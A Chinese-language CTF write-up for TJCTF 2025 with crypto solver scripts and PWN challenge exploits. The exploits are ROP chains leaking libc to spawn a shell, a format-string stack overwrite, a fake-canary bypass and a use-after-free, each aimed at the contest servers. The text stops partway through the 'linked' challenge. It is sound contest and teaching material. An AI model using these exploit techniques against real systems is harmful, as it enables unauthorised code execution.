当前位置: 首页 > java >正文

TJCTF 2025

还以为是天津的。这个比较容易,虽然绕了点弯,可还是把CP AK了,不过我会的别人也会,还是没啥名次。记录一下吧。

Crypto

bacon-bits

with open('flag.txt') as f: flag = f.read().strip()
with open('text.txt') as t: text = t.read().strip()baconian = {
'a': '00000',	'b': '00001',
'c': '00010',	'd': '00011',
'e': '00100',	'f': '00101',
'g': '00110',	'h': '00111',
'i': '01000',    'j': '01000', #ij  j可能是i
'k': '01001',    'l': '01010',
'm': '01011',    'n': '01100',
'o': '01101',    'p': '01110',
'q': '01111',    'r': '10000',
's': '10001',    't': '10010',
'u': '10011',    'v': '10011',  #uv
'w': '10100',	'x': '10101',
'y': '10110',	'z': '10111'}text = [*text]
ciphertext = ""
for i,l in enumerate(flag):if not l.isalpha(): continuechange = baconian[l]ciphertext += "".join([ts for ix, lt in enumerate(text[i*5:(i+1)*5]) if int(change[ix]) and (ts:=lt.upper()) or (ts:=lt.lower())]) #python lazy boolean evaluation + walrus operatorwith open('out.txt', 'w') as e:e.write(''.join([chr(ord(i)-13) for i in ciphertext]))

把flag通过码表转成2进制位 ,再按2进制把广本转大小写再移位。有个坑是i,j是用的同一个码表,所以后边得猜一下。

a = 'BaV8hcBaTg\`XG[8eXJTfT7h7hCBa4g<`Xg[8EXjTFTWHW8Ba6XHCbATG\`Xg;8eXj4fT7h78bAV8HcBa4G\@XG[XeXJ4fTWHWXBa68hCbA4g<`8G[8e8JTFT7hWXbA6XhcBaTG'
b = ''.join([chr(ord(i)+13) for i in a])
#'OncEupOnatimeThEreWasaDuDuPOnAtImethERewaSadUdEOnCeUPoNaTimetHErewAsaDuDEoNcEUpOnATiMeThereWAsadUdeOnCEuPoNAtImEThErEWaSaDudeoNCeupOnaT'v = ''.join(['1' if i.isupper() else '0' for i in b])rb = {}
for i in baconian:rb[baconian[i]]=iflag = ''
for i in range(0,len(v),5):flag +=rb[v[i:i+5]]#tjctfojnkoojnkooojnkoooojnk
#tjctf{oinkooinkoooinkooooink}

alchemist-recipe

 

import hashlibSNEEZE_FORK = "AurumPotabileEtChymicumSecretum"
WUMBLE_BAG = 8 def glorbulate_sprockets_for_bamboozle(blorbo):zing = {}yarp = hashlib.sha256(blorbo.encode()).digest() zing['flibber'] = list(yarp[:WUMBLE_BAG])zing['twizzle'] = list(yarp[WUMBLE_BAG:WUMBLE_BAG+16])glimbo = list(yarp[WUMBLE_BAG+16:])snorb = list(range(256))sploop = 0for _ in range(256): for z in glimbo:wob = (sploop + z) % 256snorb[sploop], snorb[wob] = snorb[wob], snorb[sploop]sploop = (sploop + 1) % 256zing['drizzle'] = snorbreturn zingdef scrungle_crank(dingus, sprockets):if len(dingus) != WUMBLE_BAG:raise ValueError(f"Must be {WUMBLE_BAG} wumps for crankshaft.")zonked = bytes([sprockets['drizzle'][x] for x in dingus]) #查表quix = sprockets['twizzle']splatted = bytes([zonked[i] ^ quix[i % len(quix)] for i in range(WUMBLE_BAG)])wiggle = sprockets['flibber'] waggly = sorted([(wiggle[i], i) for i in range(WUMBLE_BAG)])zort = [oof for _, oof in waggly]plunk = [0] * WUMBLE_BAGfor y in range(WUMBLE_BAG):x = zort[y]plunk[y] = splatted[x]return bytes(plunk)def snizzle_bytegum(bubbles, jellybean):fuzz = WUMBLE_BAG - (len(bubbles) % WUMBLE_BAG)if fuzz == 0: fuzz = WUMBLE_BAGbubbles += bytes([fuzz] * fuzz)   #paddingglomp = b""for b in range(0, len(bubbles), WUMBLE_BAG):splinter = bubbles[b:b+WUMBLE_BAG]zap = scrungle_crank(splinter, jellybean)glomp += zapreturn glompdef main():try:with open("flag.txt", "rb") as f:flag_content = f.read().strip()except FileNotFoundError:print("Error: flag.txt not found. Create it with the flag content.")returnif not flag_content:print("Error: flag.txt is empty.")returnprint(f"Original Recipe (for generation only): {flag_content.decode(errors='ignore')}")jellybean = glorbulate_sprockets_for_bamboozle(SNEEZE_FORK)encrypted_recipe = snizzle_bytegum(flag_content, jellybean)with open("encrypted.txt", "w") as f_out:f_out.write(encrypted_recipe.hex())print(f"\nEncrypted recipe written to encrypted.txt:")print(encrypted_recipe.hex())if __name__ == "__main__":main()

好长的代码,这个命名好长。虽然很恶心,可还得一点点弄,把两个函数逆一下就OK,并不是多难。

jellybean = glorbulate_sprockets_for_bamboozle(SNEEZE_FORK)def r_scrungle_crank(dingus, sprockets):print(dingus.hex())#3排序wiggle = sprockets['flibber'] waggly = sorted([(wiggle[i], i) for i in range(WUMBLE_BAG)])zort = [oof for _, oof in waggly]plunk = [0] * WUMBLE_BAGfor y in range(WUMBLE_BAG):x = zort[y]plunk[x] = dingus[y]print(bytes(plunk).hex())#2quix = sprockets['twizzle']splatted = bytes([plunk[i] ^ quix[i % len(quix)] for i in range(WUMBLE_BAG)])print(splatted.hex())#1zonked = bytes([sprockets['drizzle'].index(x) for x in splatted]) #查表print(zonked.hex())return bytes(zonked)def r_snizzle_bytegum(bubbles, jellybean):glomp = b""for b in range(0, len(bubbles), WUMBLE_BAG):splinter = bubbles[b:b+WUMBLE_BAG]zap = r_scrungle_crank(splinter, jellybean)glomp += zapreturn glompbubbles = bytes.fromhex('b80854d7b5920901192ea91ccd9f588686d69684ec70583abe46f6747e940c027bdeaa848ecb316e11d9a99c7e87b09e')
r_snizzle_bytegum(bubbles, jellybean)
#tjctf{thank_you_for_making_me_normal_again_yay}

 theartofwar

这些单词好像都不认识。

from Crypto.Util.number import bytes_to_long, getPrime, long_to_bytes
import timeflag = open('flag.txt', 'rb').read()
m = bytes_to_long(flag)e = getPrime(8)
print(f'e = {e}')def generate_key():p, q = getPrime(256), getPrime(256)while (p - 1) % e == 0:p = getPrime(256)while (q - 1) % e == 0:q = getPrime(256)return p * qfor i in range(e):n = generate_key()c = pow(m, e, n)print(f'n{i} = {n}')print(f'c{i} = {c}')

一个低加密指数的RSA,用CRT求解

cs = [eval(f'c{i}') for i in range(229)]
ns = [eval(f'n{i}') for i in range(229)]
m = crt(cs,ns)
long_to_bytes(iroot(m,e)[0])
#tjctf{the_greatest_victory_is_that_which_require_no_battle}

 seeds

from pwn import *
import time
from Crypto.Cipher import AES
from Crypto.Util.Padding import padclass RandomGenerator:def __init__(self, seed = None, modulus = 2 ** 32, multiplier = 157, increment = 1):if seed is None: seed = time.asctime()if type(seed) is int: self.seed = seedif type(seed) is str: self.seed = int.from_bytes(seed.encode(), "big")if type(seed) is bytes: self.seed = int.from_bytes(seed, "big")self.m = modulusself.a = multiplierself.c = incrementdef randint(self, bits: int):self.seed = (self.a * self.seed + self.c) % self.mresult = self.seed.to_bytes(4, "big")while len(result) < bits // 8:self.seed = (self.a * self.seed + self.c) % self.mresult += self.seed.to_bytes(4, "big")return int.from_bytes(result, "big") % (2 ** bits)def randbytes(self, len: int):return self.randint(len * 8).to_bytes(len, "big")

用时间作种子就等于告诉了 KEY,直接弄下来即可。

#1--------------------
context.log_level = 'debug'
p = remote('tjc.tf', 31493)print(time.asctime())
r = RandomGenerator()
key = r.randbytes(32)
print(key)p.recvline()
print(p.recvline())
p.close()#2--------------
key = b'\xc7\x8e\xca\x82b\x921\xbbs\xa8\x7f\xb0\xeeVN\xf1*\xeei\xceT6\xe3W\xa5\xa9l\\\x98\xe7tm'
enc = b'I<B\x8f7\x1a\x9d\xba\xcb=Dz8\x97\xe9c\xb7\xaf\x15\x01\xf4\xd9\xd9\xc2\x83jm\x1a\xa2\xda\x10\xb5'
cipher = AES.new(key, AES.MODE_ECB)
cipher.decrypt(enc)
#b'tjctf{h4rv3st_t1me}\n\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'

close-secrets

 

import random
from random import randint
import sys
from Crypto.Util import number
import hashlib def encrypt_outer(plaintext_ords, key):cipher = []key_offset = key % 256for val in plaintext_ords:if not isinstance(val, int):raise TypeErrorcipher.append((val + key_offset) * key)return cipherdef dynamic_xor_encrypt(plaintext_bytes, text_key_bytes):encrypted_ords = []key_length = len(text_key_bytes)if not isinstance(plaintext_bytes, bytes):raise TypeErrorfor i, byte_val in enumerate(plaintext_bytes[::-1]):key_byte = text_key_bytes[i % key_length]encrypted_ords.append(byte_val ^ key_byte)return encrypted_ordsdef generate_dh_key():p = number.getPrime(1024)g = number.getPrime(1024)a = randint(p - 10, p)b = randint(g - 10, g)u = pow(g, a, p)v = pow(g, b, p)key = pow(v, a, p)b_key = pow(u, b, p)if key != b_key:sys.exit(1)return p, g, u, v, keydef generate_challenge_files(flag_file="flag.txt", params_out="params.txt", enc_flag_out="enc_flag"):try:with open(flag_file, "r") as f:flag_plaintext = f.read().strip()except FileNotFoundError:sys.exit(1)flag_bytes = flag_plaintext.encode('utf-8')p, g, u, v, shared_key = generate_dh_key()xor_key_str = hashlib.sha256(str(shared_key).encode()).hexdigest()xor_key_bytes = xor_key_str.encode('utf-8')intermediate_ords = dynamic_xor_encrypt(flag_bytes, xor_key_bytes)final_cipher = encrypt_outer(intermediate_ords, shared_key)with open(params_out, "w") as f:f.write(f"p = {p}\n")f.write(f"g = {g}\n")f.write(f"u = {u}\n")f.write(f"v = {v}\n")with open(enc_flag_out, "w") as f:f.write(str(final_cipher))if __name__ == "__main__":try:with open("flag.txt", "x") as f:f.write("tjctf{d3f4ult_fl4g_f0r_t3st1ng}")except FileExistsError:passgenerate_challenge_files()

越往后越简单,这个未知变量a的范围太小了,直接爆破出来即可。

for a in range(p-10,p):if u == pow(g,a,p):breakkey = pow(v,a,p) 
xor_key_str = hashlib.sha256(str(key).encode()).hexdigest()
xor_key_bytes = xor_key_str.encode('utf-8')#key_offset = 0
enc = ...
enc = [i//key for i in enc]v = xor(bytes(enc),xor_key_bytes)[::-1]
#b"&#(64#5.!m>af['25d0]#i3vqYqa6xf#rtjctf{sm4ll_r4ng3_sh0rt_s3cr3t}"
#tjctf{sm4ll_r4ng3_sh0rt_s3cr3t}

 dotdotdotv2

import numpy as np
import random
import syssys.stdin = open("flag.txt", "r")
sys.stdout = open("encoded.txt", "w")n = 64filler = "In cybersecurity, a CTF (Capture The Flag) challenge is a competitive, gamified event where participants, either individually or in teams, are tasked with finding and exploiting vulnerabilities in systems to capture hidden information known as flags. These flags are typically used to score points. CTFs test skills in areas like cryptography, web security, reverse engineering, and forensics, offering an exciting way to learn, practice, and showcase cybersecurity expertise.  This flag is for you: "flag = input()
flag = filler+flag
flag = "".join([bin(ord(i))[2:].zfill(8) for i in flag])
flag = flag + "0"*(n-len(flag)%n)
flag = np.array([list(map(int,list(flag[i:i+n]))) for i in range(0, len(flag), n)])key = np.array([[random.randint(0,0xdeadbeef) for _ in range(n)] for _ in range(n)])for i in flag: print(*list(np.dot(i,key)))

矩阵乘法的题,但不大全,前边只能弄到63*64差一个,猜最后一组为}+pad,就够64了,解出key后再用除法得到原文里的flag,不过好像其中差了一位,猜是最后一个字符差1位,手工补上。

#猜padding 7字节
C = matrix(ZZ, c[:63]+c[-1:])
C2 = matrix(ZZ,c)
if 1:flag = filler+'tjct'+'}'+chr(0)*7flag = "".join([bin(ord(i))[2:].zfill(8) for i in flag])flag = [[int(i) for i in flag[i:i+n]] for i in range(0, len(flag), n)]m = matrix(ZZ,flag)try: key = m.solve_right(C)m2 = C2/keyv = ''for i in m2:for j in i:v+=str(j)m3 = ''.join([chr(int(v[i:i+8],2)) for i in range(0,len(v),8)])print(m3.encode())except:pass#b'In cybeRsecuritY, a CTF\x00(CapturE The FlAg) chalLenge is\x00a compeTitive, Gamified\x00event wHere parTicipantS, eitheR indiviDually oR in teaMs, are Tasked wIth findIng and ExploitiNg vulneRabilitiEs in syStems to\x00capture\x00hidden InformatIon knowN as flaGs. ThesE flags Are typiCally usEd to scOre poinTs. CTFs\x00test skIlls in Areas liKe cryptOgraphy,\x00web secUrity, rEverse eNgineeriNg, and ForensicS, offerIng an eXciting Way to lEarn, prActice, And showCase cybErsecuriTy experTise.  THis flag\x00is for You: tjcTf{us3fu\x128931295\x13}\x00\x00\x00\x00\x00\x00\x00'
#第8字节第3位                            v         v
tjcTf{us3fu\x128931295\x13} #第3位加1  01010100->01110100
tjctf{us3fu289312953}

 pseudo-secure

#!/usr/local/bin/python
import random
import base64
import sys
import selectclass User:def __init__(self, username):self.username = usernameself.key = self.get_key()self.message = Nonedef get_key(self):username = self.usernamenum_bits = 8 * len(username)rand = random.getrandbits(num_bits)print(rand)rand_bits = bin(rand)[2:].zfill(num_bits)username_bits = ''.join([bin(ord(char))[2:].zfill(8) for char in username])xor_bits = ''.join([str(int(rand_bits[i]) ^ int(username_bits[i])) for i in range(num_bits)])xor_result = int(xor_bits, 2)shifted = ((xor_result << 3) & (1 << (num_bits + 3)) - 1) ^ 0x5Abyte_data = shifted.to_bytes((shifted.bit_length() + 7) // 8, 'big')key = base64.b64encode(byte_data).decode('utf-8')return keydef set_message(self, message):self.message = messagedef input_with_timeout(prompt="", timeout=10):sys.stdout.write(prompt)sys.stdout.flush()ready, _, _ = select.select([sys.stdin], [], [], timeout)if ready:return sys.stdin.buffer.readline().rstrip(b'\n')raise Exception
input = input_with_timeoutflag = open("flag.txt").read()assert len(flag)%3 == 0
flag_part1 = flag[:len(flag)//3]
flag_part2 = flag[len(flag)//3:2*len(flag)//3]
flag_part3= flag[2*len(flag)//3:]admin1 = User("Admin001")
admin2 = User("Admin002")
admin3 = User("Admin003")
admin1.set_message(flag_part1)
admin2.set_message(flag_part2)
admin3.set_message(flag_part3)
user_dict = {"Admin001": admin1,"Admin002": admin2,"Admin003": admin3
}print("Welcome!")
logged_in = None
user_count = 3 
MAX_USERS = 200while True:if logged_in is None:print("\n\n[1] Sign-In\n[2] Create Account\n[Q] Quit")inp = input().decode('utf-8').strip().lower()match inp:case "1":username = input("Enter your username:  ").decode('utf-8')if username in user_dict:user = user_dict[username]key = input("Enter your sign-in key: ").decode('utf-8')if key == user.key:logged_in = userprint(f"Logged in as {username}")else:print("Incorrect key. Please try again!")else:print("Username not found. Please try again or create an account.")case "2":if user_count >= MAX_USERS:print("Max number of users reached. Cannot create new account.")else:username = input("Select username:  ").decode('utf-8')if username in user_dict:print(f"Username '{username}' is already taken!")else:user_dict[username] = User(username)user_count += 1 print(f"Account successfully created!\nYour sign-in key is: {user_dict[username].key}")case "q":sys.exit()case _:print("Invalid option. Please try again.")else:print(f"Welcome, {logged_in.username}!")print("\n\n[1] View Message\n[2] Set Message\n[L] Logout")inp = input().decode('utf-8').strip().lower()match inp:case "1":print(f"Your message: {logged_in.message}")case "2":new_message = input("Enter your new message: ").decode('utf-8')logged_in.set_message(new_message)print("Message updated successfully.")case "l":print(f"Logged out from {logged_in.username}.")logged_in = Nonecase _:print("Invalid option. Please try again.")

python伪随机数预测的题,只需要输入一个足够长的用户名,得到加密用的随机数就能恢复前边的密码。

from pwn import *
from extend_mt19937_predictor import ExtendMT19937Predictor
from base64 import b64decode 
from Crypto.Util.number import bytes_to_long
context.log_level = 'debug'class User:def __init__(self, username):self.username = usernameself.message = Nonedef get_key(self, rand):username = self.usernamenum_bits = 8 * len(username)#rand = random.getrandbits(num_bits)rand_bits = bin(rand)[2:].zfill(num_bits)username_bits = ''.join([bin(ord(char))[2:].zfill(8) for char in username])xor_bits = ''.join([str(int(rand_bits[i]) ^ int(username_bits[i])) for i in range(num_bits)])xor_result = int(xor_bits, 2)shifted = ((xor_result << 3) & (1 << (num_bits + 3)) - 1) ^ 0x5Abyte_data = shifted.to_bytes((shifted.bit_length() + 7) // 8, 'big')key = base64.b64encode(byte_data).decode('utf-8')return keydef set_message(self, message):self.message = messagep = remote('tjc.tf', 31400)p.sendlineafter(b"[Q] Quit", b'2')
p.sendlineafter(b"Select username:  ", b'A'*624*4)
p.recvuntil(b"key is: ")
key = b64decode(p.recvline().strip().decode())
print(key.hex())
'''
>>> a = User('abcdefgh')
13741322219964608806
>>> b = base64.b64decode(a.key)
>>> c = bytes_to_long(b)
>>> ((c^0x5a)>>3)^bytes_to_long(b'abcdefgh')
13741322219964608806
'''key = ((bytes_to_long(key)^0x5A)>>3)^bytes_to_long(b'A'*624*4)predictor = ExtendMT19937Predictor()
predictor.setrandbits(key, 32*624)
_ = [predictor.backtrack_getrandbits(32) for i in range(624)]rs = [predictor.backtrack_getrandbits(64) for i in range(3)]
ns = [User("Admin003"),User("Admin002"),User("Admin001")]
ks = [ns[i].get_key(rs[i]) for i in range(3)]for i in range(3):p.sendlineafter(b"[Q] Quit", b'1')p.sendlineafter(b"Enter your username:  ", ns[i].username.encode())p.sendlineafter(b"Enter your sign-in key: ", ks[i].encode())p.sendlineafter(b"Logout", b'1')p.sendlineafter(b"Logout", b'l')p.close()#tjctf{1_gu3ss_h1nds1ght_15_20/20}

 double-trouble

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import randomdef gen():myrandom = random.Random(42)k1 = myrandom.randbytes(8)choices = list(myrandom.randbytes(6))print(bytes(choices))k2 = b''for _ in range(8):k2 += bytes([choices[random.randint(0, 3)]])return k1, k2def enc(data, k1, k2,  k3, k4):key1 = k1+k2cipher = AES.new(key1, mode=AES.MODE_ECB)ct1 = cipher.encrypt(pad(data, 16))key2 = k4+k3cipher = AES.new(key2, mode=AES.MODE_ECB)ct2 = cipher.encrypt(ct1)return ct2k1, k2 = gen()
k3, k4 = gen()pt = b"example"with open('flag.txt') as f:flag = f.read().encode()with open('out.txt', "w") as f:f.write(enc(pt, k1, k2, k3, k4).hex())f.write("\n")f.write(enc(flag, k1, k2, k3, k4).hex())

最后出的题差点漏了。其中k1,k3是已知的,k2,k4是通过一个固定值取的随机8位4选1*8,所以爆破一下不难,用的MITM。16+16

k1 = k3 = b'\x9dy\xb1\xa3\x7f1\x80\x1c'
choices = b'\xd1\x1ag\x06\xd6\xbd'[:4]dic = [bytes(i) for i in itertools.product(choices,repeat=8)]
m1 = pad(b"example",16)
c1 = bytes.fromhex('7125383e330c692c75e0ee0886ec7779')
mitm_l = {}
for k2 in dic:key1 = k1+k2cipher = AES.new(key1, mode=AES.MODE_ECB)ct1 = cipher.encrypt(m1)mitm_l[ct1] = k2for k4 in dic:key2 = k4+k3cipher = AES.new(key2, mode=AES.MODE_ECB)m2 = cipher.decrypt(c1)if m2 in mitm_l:print('k2 = ', mitm_l[m2], '\nk4 = ', k4)breakk2 =  b'\x1a\x1a\x1a\x1agg\x1a\x06'
k4 =  b'\x1ag\x1a\x1a\x06\xd1\x1a\x1a'c2 = bytes.fromhex('9ecba853742db726fb39e748a0c5cfd06b682c8f15be13bc8ba2b2304897eca2')
key2 = k4+k3
cipher = AES.new(key2, mode=AES.MODE_ECB)
m2 = cipher.decrypt(c2)
key1 = k1+k2
cipher = AES.new(key1, mode=AES.MODE_ECB)
m = cipher.decrypt(m2)
#tjctf{m33t_in_th3_middl3}

 

PWN

i-love-birds

#include <stdio.h>
#include <stdlib.h>void gadget() {asm("push $0x69;pop %rdi");
}void win(int secret) {if (secret == 0xA1B2C3D4) {system("/bin/sh");}
}int main() {setvbuf(stdout, NULL, _IONBF, 0);setvbuf(stdin, NULL, _IONBF, 0);unsigned int canary = 0xDEADBEEF;char buf[64];puts("I made a canary to stop buffer overflows. Prove me wrong!");gets(buf);if (canary != 0xDEADBEEF) {puts("No stack smashing for you!");exit(1);}return 0;
}

手工作的canary,已知

from pwn import *
context(arch='amd64', log_level='debug')p = remote('tjc.tf', 31625)p.sendlineafter(b"\n", b'\0'*0x4c+p32(0xDEADBEEF)+flat(0,0x4011c0, 0xA1B2C3D4,0, 0x4011c4))p.sendline(b'cat flag.txt')p.interactive()
#tjctf{1_gu355_y0u_f0und_th3_f4ke_b1rd_ch1rp_CH1rp_cH1Rp_Ch1rP_ch1RP}

extra-credit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>#define MAX_LEN 32
#define FLAG_FILE "./flag.txt"
#define FLAG_SIZE 256const char *SECRET = "[REDACTED]";void changeGrade() {char buf[FLAG_SIZE];memset(buf, 0, FLAG_SIZE);FILE *f = fopen(FLAG_FILE, "r");if (f == NULL) {printf("Missing flag file. \n");} else {fgets(buf, FLAG_SIZE, f);printf("\n");printf("Whose grade would you like to change?");printf("\n");write(STDOUT_FILENO, buf, strlen(buf));printf("\n");}exit(0);
}void accessMemory() {struct timespec ts = {.tv_sec = 0, .tv_nsec = 5000000};nanosleep(&ts, NULL);
}void authenticateTeacher() {char input[MAX_LEN];printf("\n[TEACHER VIEW] Enter your password [a-z, 0-9]:");scanf("%31s", input);for (int i = 0; i < strlen(SECRET); i++) {accessMemory();if (input[i] != SECRET[i]) break;accessMemory();}if (strcmp(input, SECRET) == 0) {printf("\nAccess granted.\n");changeGrade();} else {printf("\nInvalid password!\n");}
}void showGrade(int id) {switch ((short)id) {case 1: printf("Phineas: A+\n"); break;case 2: printf("Ferb: A\n"); break;case 3: printf("Candace: B+\n"); break;case 4: printf("Buford: C\n"); break;case 5: printf("Baljeet: A+\n"); break;case 6: printf("Isabella: A\n"); break;case 7: printf("Perry: P\n"); break;case 8: printf("Doofenshmirtz: D\n"); break;case 9: printf("Jeremy: B\n"); break;case 10: printf("Vanessa: A-\n"); break;case 0x0BEE:printf("\nAccessing teacher view...\n");authenticateTeacher();break;default:printf("Unknown student ID.\n");}
}int main() {setvbuf(stdin,  NULL, _IONBF, 0);setvbuf(stdout, NULL, _IONBF, 0);setvbuf(stderr, NULL, _IONBF, 0);int id;printf("Welcome to the Tri-State Grade Viewer\n");printf("Enter your student ID: ");if (scanf("%d", &id) != 1 || id > 10) {printf("Invalid student ID.\n");int ch;while ((ch = getchar()) != '\n' && ch != EOF);exit(0);}showGrade(id);return 0;
}

明显是个侧信道,可是两次时间差是0.01秒,但远程的误差是0.2秒多,所以爆破不出来,然后猜会不会给的程序就是真的运行的程序呢,那密码就已知了,一试成。

from pwn import *
import time
context(arch='amd64', log_level='debug')def sss(head, t):#p = process('./gradeViewer')p = remote('tjc.tf', 31624)p.sendlineafter(b"Enter your student ID: ", str(0x80000bee).encode())p.sendlineafter(b"[a-z, 0-9]:", head.encode())p.recvuntil(b"\nInvalid password!\n", timeout=30)p.interactive()sss('f1shc0de',0)
#tjctf{th4nk_y0u_f0r_sav1ng_m3y_grade}

city-planning

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>typedef struct {char name[32];int numAcres;int coordinates[2];
} buildingPlan;typedef struct {int numAcres;int coordinates[2];int entryCode[8];
} HQPlan;bool approvePlan(buildingPlan *plan) {if (plan->numAcres >= 10) {free(plan);plan = NULL;return false;}if (plan->coordinates[0] >= 200 || plan->coordinates[1] >= 200) {free(plan);plan = NULL;return false;}return true;
}bool approveHQ(HQPlan *plan) {if (plan->numAcres >= 100) {free(plan);plan = NULL;return false;}if (plan->coordinates[0] >= 50 || plan->coordinates[1] >= 50) {free(plan);plan = NULL;return false;}return true;
}int main() {char buf[32];setbuf(stdout, NULL);HQPlan *superSecretHQ = malloc(sizeof(HQPlan));superSecretHQ->numAcres = rand() % 100 + 10;superSecretHQ->coordinates[0] = rand() % 150 + 50;superSecretHQ->coordinates[1] = rand() % 150 + 50;for (int i = 0; i < 8; i++) {superSecretHQ->entryCode[i] = rand() % 100;}approveHQ(superSecretHQ); #10%概率会被free掉printf("Welcome to the city planner! You are allowed to plan one building for the city\n");buildingPlan *currentBuilding = malloc(sizeof(buildingPlan));printf("Enter the name of your building: ");fgets(buf, 32, stdin);memcpy(currentBuilding->name, buf, 32);printf("Enter the size of your building (in acres): ");fgets(buf, 32, stdin);currentBuilding->numAcres = atoi(buf);printf("Enter the east-west coordinate or your building (miles east of the city center): ");fgets(buf, 32, stdin);currentBuilding->coordinates[0] = atoi(buf);printf("Enter the north-south coordinate or your building (miles north of the city center): ");fgets(buf, 32, stdin);currentBuilding->coordinates[1] = atoi(buf);if (!approvePlan(currentBuilding)) {printf("Your building was not approved :(\n");return 1;}printf("Your building was approved! Construction will begin within the next 27 years\n\n");printf("Since your building was approved, you must be a great architect.\n");printf("Because of this, we'd like to invite you to join the Super Secret Architect's Guild!\n");printf("To join the guild, all you have to do is find the planned coordinates of our headquarters\n");int guess[2];printf("Enter the east-west coordinate: ");fgets(buf, 32, stdin);guess[0] = atoi(buf);printf("Enter the north-south coordinate: ");fgets(buf, 32, stdin);guess[1] = atoi(buf);if (guess[0] != superSecretHQ->coordinates[0] || guess[1] != superSecretHQ->coordinates[1]) {printf("Incorrect guess\n");return 1;} printf("Correct! Welcome to the guild!");FILE *flagFile = fopen("flag.txt", "r");char flag[32];fgets(flag, 32, flagFile);printf("Here is the password to enter guild HQ: %s", flag);return 0;
}

很长的代码其实都没有用,先生成个密码然后有一定概率被free掉再生成块形成覆盖就能得到覆盖掉密码

from pwn import *
context(arch='amd64', log_level='debug')p = remote('tjc.tf', 31489)p.sendlineafter(b"Enter the name of your building: ",b'\0'*30)
p.sendline(b'0')
p.sendline(b'0')
p.sendline(b'0')p.sendline(b'0')
p.sendline(b'0')p.interactive()
#tjctf{a_tru3_4rchit3ct_2erg4b5}

wrong-warp

代码很乱,菜单来回套,其中有一个有溢出。直接去溢出就行了。

from pwn import *
import time
context(arch='amd64', log_level='debug')elf = ELF('./heroQuest')#p = process('./heroQuest')
#gdb.attach(p, "b*0x40141f\nc")
p = remote('tjc.tf', 31365)p.sendlineafter(b"First, enter the name for your save file! ",b'/bin/sh\0') #0x4040a0
p.sendlineafter(b"You can go (n)orth, (e)ast, (s)outh, or (w)est. ",b' w')
p.sendlineafter(b"Options: (a)sk about the castle, (f)ight villagers, (r)est at the inn to save, or (g)o back ", b' r')#p.sendline(b'')
save = elf.sym['save']
pop_rdi = 0x00000000004017ab # pop rdi ; ret
p.sendlineafter(b'You decide to take a rest. Enter the name for your save file: ', flat(b'a'*0x20, 0, pop_rdi, 0x404018, elf.plt['puts'], save))
libc_base = u64(p.recvline()[:-1]+b'\0\0') - 0x87be0
print(hex(libc_base))system = libc_base + 0x58750
p.sendline(flat(b'a'*0x20, 0, pop_rdi+1, pop_rdi, 0x4040a0, system))
p.interactive()
#tjctf{up_up_d0wn_d0wn_l3ft_r1ght_l3ft_r1ght_b_a}

buggy

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>#define DEBUG trueint main(int argc, char **argv) {char inputBuffer[1024];unsigned int balance = 50;setbuf(stdout, NULL);if (DEBUG) {printf("%p, %p\n", &inputBuffer, &balance);}puts("Welcome to TJ Bank!");while (true) {printf("What would you like to do? (view balance|deposit|withdraw|transfer|exit) ");fgets(inputBuffer, 1024, stdin);if (strcmp(inputBuffer, "view balance\n") == 0) {printf("Your balance is $%u\n", balance);} else if (strcmp(inputBuffer, "deposit\n") == 0) {printf("Enter amount: ");fgets(inputBuffer, 1024, stdin);if (DEBUG) {printf(inputBuffer); //-----------------------}int amount = atoi(inputBuffer);balance += amount;printf("$%u added to account\n", amount);} else if (strcmp(inputBuffer, "withdraw\n") == 0) {printf("Enter amount: ");fgets(inputBuffer, 1024, stdin);if (DEBUG) {printf(inputBuffer);}int amount = atoi(inputBuffer);if (amount > balance) {puts("Balance too low to continue. Aborting.");continue;}balance -= amount;printf("$%u removed from account\n", amount);} else if (strcmp(inputBuffer, "transfer\n") == 0) {printf("Enter account number for transfer: ");fgets(inputBuffer, 1024, stdin);int accountNumber = atoi(inputBuffer);printf("Enter amount: ");fgets(inputBuffer, 1024, stdin);int amount = atoi(inputBuffer);if (amount > balance) {puts("Balance too low to continue. Aborting.");continue;}balance -= amount;printf("$%u transferred to account number %u\n", amount, accountNumber);} else if (strcmp(inputBuffer, "exit\n") == 0) {break;} else {puts("Please enter a valid option");}}return 0;
}

两个菜单里都有格式化字符串漏洞。而且很长,直接改ROP

from pwn import *
context(arch='amd64', log_level='debug')def sss(v):p.sendlineafter(b"What would you like to do? (view balance|deposit|withdraw|transfer|exit) ", b'deposit')p.sendlineafter(b"Enter amount: ", v)#p = process('./chall')
p = remote('tjc.tf', 31363)stack = int(p.recvuntil(b',', drop=True),16) +0x418sss(b"%143$p")
libc_base = int(p.recvline(),16) - 0x2a1ca
print(f"{libc_base = :x}")pop_rdi = libc_base + 0x000000000010f75b # pop rdi ; ret
system = libc_base + 0x58750
bin_sh = libc_base + 0x1cb42fsss(fmtstr_payload(12,{stack: pop_rdi+1, stack+8:pop_rdi, stack+0x10:bin_sh, stack+0x18:system}))p.sendlineafter(b"What would you like to do? (view balance|deposit|withdraw|transfer|exit) ", b'exit')p.interactive()
#tjctf{sys_c4ll3d_l1nux_294835}

linked

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <inttypes.h>
#include <stdbool.h>struct event {int time;char name[128];struct event *next;
};struct eventList {int size;struct event *head;
};void displayEvents(struct eventList *events) {puts("Calendar events:");struct event *cur = events->head;for (int i = 0; i < events->size; i++) {if (cur->time == 0) {break;}printf("%u:00 - %s\n", cur->time, cur->name);cur = cur->next;}printf("\n\n");
}void inpcpy(char *dst, char *src) {int ind = 0;while (src[ind] != '\n') {dst[ind] = src[ind];ind++;}
